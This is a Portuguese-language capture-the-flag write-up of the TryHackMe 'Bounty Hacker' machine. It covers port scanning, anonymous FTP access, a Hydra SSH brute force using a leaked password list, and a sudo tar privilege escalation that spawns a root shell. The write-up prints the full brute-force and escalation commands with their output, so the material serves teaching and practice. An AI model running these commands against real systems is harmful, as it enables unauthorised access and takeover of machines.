



Bounty Hacker

Offensive Security Write-up



Autor: Maurício Melo Filho

Data: March 27, 2026

Sinopse

O **Bounty Hacker** é um desafio simples, explorando falhas do sistema FTP, utilizando de um usuário anônimo para a obtenção de senhas para obter acesso ao sistema.

1 Enumeração

A fase inicial consistiu na varredura de portas com o nmap para mapear a superfície de ataque.

```
$ nmap -sV -sC -v <IP_DA_MAUQUINA>

# -sV : para obter a versão dos serviços
# -sC : utiliza scripts padrões do Nmap (permite obter chaves ssh e demais
        informações sensíveis)
# -v : aumenta o nível de detalhamento (mostra o que está acontecendo em tempo
        real)
```

```
Initiating NSE at 08:39
Completed NSE at 08:39, 1.45s elapsed
Initiating NSE at 08:39
Completed NSE at 08:39, 0.00s elapsed
Nmap scan report for 10.65.143.130
Host is up (0.20s latency).
Not shown: 967 filtered tcp ports (no-response)
PORT      STATE SERVICE      VERSION
20/tcp    closed ftp-data
21/tcp    open  ftp          vsftpd 3.0.5
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_ Can't get directory listing: PASV failed: 550 Permission denied.
| ftp-syst:
|   STAT:
|   FTP server status:
|     Connected to ::ffff:192.168.213.112
|     Logged in as ftp
|     TYPE: ASCII
|     No session bandwidth limit
|     Session timeout in seconds is 300
|     Control connection is plain text
|     Data connections will be plain text
|     At session startup, client count was 2
|     vsFTPD 3.0.5 - secure, fast, stable
|_ End of status
22/tcp    open  ssh          OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 6f:94:ba:fe:bd:4b:1a:5c:c9:2f:22:36:98:9a:39:d1 (RSA)
|   256 7b:e7:cd:8d:b2:8c:93:98:ae:14:96:42:19:75:c1:5c (ECDSA)
|_  256 90:bf:39:a7:d3:38:03:1e:09:73:c6:3e:05:39:70:4e (ED25519)
80/tcp    open  http         Apache httpd 2.4.41 ((Ubuntu))
|_ http-title: Site doesn't have a title (text/html).
|_ http-server-header: Apache/2.4.41 (Ubuntu)
|_ http-methods:
|_   Supported Methods: POST OPTIONS HEAD GET
990/tcp   closed ftps
```

Figure 1 Percorrendo as portas do IP

Aqui é possível encontrar três portas abertas: 80, com um http, 22, com um SSH e uma interessante, 21, com um serviço FTP aberto. Ao percorrer um Gobuster pela porta 80, nada além do usual foi encontrado, assim restando apenas checar o FTP.

2 Vulnerabilidade e Exploração

Utilizando do sistema FTP, podemos obter acesso ao mesmo por meio do uso de um usuário anonymous, que não requer senha, sendo uma clara vulnerabilidade do sistema.

```
$ ftp 10.65.143.130
Connected to 10.65.143.130.
220 (vsFTPd 3.0.5)
Name (10.65.143.130:kali): anonymous
```

Ao rodar o comando **ls**, podemos encontrar dois arquivos de texto:

```
Name (10.65.143.130:kali): anonymous
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
550 Permission denied.
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rw-rw-r-- 1 ftp ftp 418 Jun 07 2020 locks.txt
-rw-rw-r-- 1 ftp ftp 68 Jun 07 2020 task.txt
226 Directory send OK.
ftp> █
```

Figure 2 Acessando o FTP

Para poder lê-los, devemos usar do próprio FTP para dar upload nestes arquivos para a nossa máquina:

```
$ ftp> get locks.txt
$ ftp> get task.txt
```

Agora, com os arquivos em nossa máquina, podemos sair do FTP e usar o comando **cat** para ler os conteúdos:

```
(kali㉿kali)-[~/Downloads]
$ cat locks.txt
rEddrAG0N
ReDdr4g0nSynd!cat3
Dr@G0n$yn9!cat3
R3DDr460NSYndIC@Te
ReddRA60N
R3dDrag0nSynd1c4te
dRa6oN5YNDiCATE
ReDDR4g0n5ynD1c4te
R3Dr4g0n2044
RedDr4gonSynd1cat3
R3dDRaG0Nsynd1c@T3
Synd1c4teDr@G0n
reddRAg0N
REddRaG0N5yNdIc47e
Dra6oN$yndIC@t3
4L1mi6H71StHeB357
rEDdrag0n$ynd1c473
DrAgoN5ynD1cATE
ReDdrag0n$ynd1cate
Dr@G0n$yND1C4Te
RedDr@gonSyn9ic47e
REd$yNdIc47e
dr@goN5YND1c@73
rEDdrAG0nSyNDiCat3
r3ddr@G0N
ReDSynd1ca7e

(kali㉿kali)-[~/Downloads]
$ cat task.txt
1.) Protect Vicious.
2.) Plan for Red Eye pickup on the moon.

-lin
```

Figure 3 Possíveis senhas e o criador da task list

Aqui encontramos um grande acervo de possíveis senhas, junto com a primeira resposta do TryHackMe: o criador da task list, lin. Com o que temos agora, é possível tentar um *brute force*, utilizando do **Hydra**, uma ferramenta que permite utilizar de uma wordlist para tentar logar no SSH de um IP por meio de um usuário já conhecido:

```
$ hydra -l <usuário> -P <path/para/passwordlist.txt> <ip_alvo> ssh
```

Como já temos o usuário, lin, e as senhas, locks.txt, podemos tentar o brute force no SSH:

```
(kali㉿kali)-[~/Downloads]
$ hydra -l lin -P locks.txt 10.65.143.130 ssh
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or
secret service organizations, or for illegal purposes (this is non-binding, these *** igno
re laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-03-27 09:14:36
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to
reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 26 login tries (l:1/p:26), ~2 tries pe
r task
[DATA] attacking ssh://10.65.143.130:22/
[22][ssh] host: 10.65.143.130 login: lin password: RedDr4gonSynd1cat3
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-03-27 09:14:44
```

Figure 4 Senha obtida

3 Acesso Inicial

Utilizando do usuário lin e da senha RedDr4gonSynd1cat3 (que inclusive é uma resposta do TryHackMe), podemos finalmente logar no SSH:

```
(kali@kali)-[~/Downloads]
$ ssh lin@10.65.143.130
The authenticity of host '10.65.143.130 (10.65.143.130)' can't be established.
ED25519 key fingerprint is SHA256:Nkfy//PnEtPVkB7fvixN6b5anjh4C0fS1qxNgzXtFnI.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.65.143.130' (ED25519) to the list of known hosts.
lin@10.65.143.130's password:
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.15.0-139-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:       https://ubuntu.com/pro

Expanded Security Maintenance for Infrastructure is not enabled.
0 updates can be applied immediately.

Enable ESM Infra to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet c
onnection or proxy settings

Your Hardware Enablement Stack (HWE) is supported until April 2025.
Last login: Mon Aug 11 12:32:35 2025 from 10.23.8.228
lin@ip-10-65-143-130:~/Desktop$
```

Figure 5 Acesso interno obtido

Ao utilizar o comando ls, podemos encontrar a flag de usuário:

```
lin@ip-10-65-143-130:~/Desktop$ ls
user.txt
```

Figure 6 user.txt obtida

Agora, com a flag de usuário, só nos resta obter a flag de root, requisitando uma escalação de privilégios.

4 Escalação de Privilégios

Executando o comando padrão para checar os comandos que podemos executar como root, é requisitado novamente a senha, e utilizando a que obtemos anteriormente encontramos:

```
lin@ip-10-65-143-130:~/Desktop$ sudo -l
[sudo] password for lin:
Sorry, try again.
[sudo] password for lin:
Matching Defaults entries for lin on ip-10-65-143-130:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/b
in
User lin may run the following commands on ip-10-65-143-130:
    (root) /bin/tar
lin@ip-10-65-143-130:~/Desktop$
```

Figure 7 Descobrimos o que vamos usar para escalar o privilégio

Checando o **GTFOBins** por /bin/tar, encontramos que para executar uma shell com privilégios de root, precisamos utilizar o comando.

```
$ sudo tar cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh

# sudo tar : permite iniciar o programa como superusuário
# -cf /dev/null /dev/null : cria um arquivo vazio para o tar ter algo para
  processar
# --checkpoint=1 : define que a cada 1 arquivo processado, uma ação deve ocorrer.
# --checkpoint-action=exec=/bin/sh : instrui o sistema para que quando ocorra o
  checkpoint, execute o shell (/bin/sh).
```

Observação: No GTF0Bins, você pode encontrar o comando sem o sudo antes, só necessitando adicioná-lo para poder escalar o privilégio.

Ao executar o comando whoami, confirmamos o sucesso:

```
lin@ip-10-64-159-31:~/Desktop$ sudo tar cf /dev/null /dev/null --checkpoint=1 --checkpoint
-action=exec=/bin/sh
[sudo] password for lin:
tar: Removing leading '/' from member names
# whoami
root
#
```

Figure 8 Escalação de privilégio completa

Agora, resta apenas obter a flag, navegando pelos caminhos até chegar no diretório root:

```
# whoami
root
# cd ..
# ls
Desktop Documents Downloads Music Pictures Public Templates Videos
# cd ..
# ls
lin ubuntu
# cd ..
# ls
bin dev initrd.img.old lost+found opt run srv usr vmlinuz.old
boot etc lib media proc sbin sys var
cdrom home lib64 mnt root snap tmp vmlinuz
# cd root
# ls
root.txt snap
#
```

Figure 9 Com a obtenção da root.txt, se termina o CTF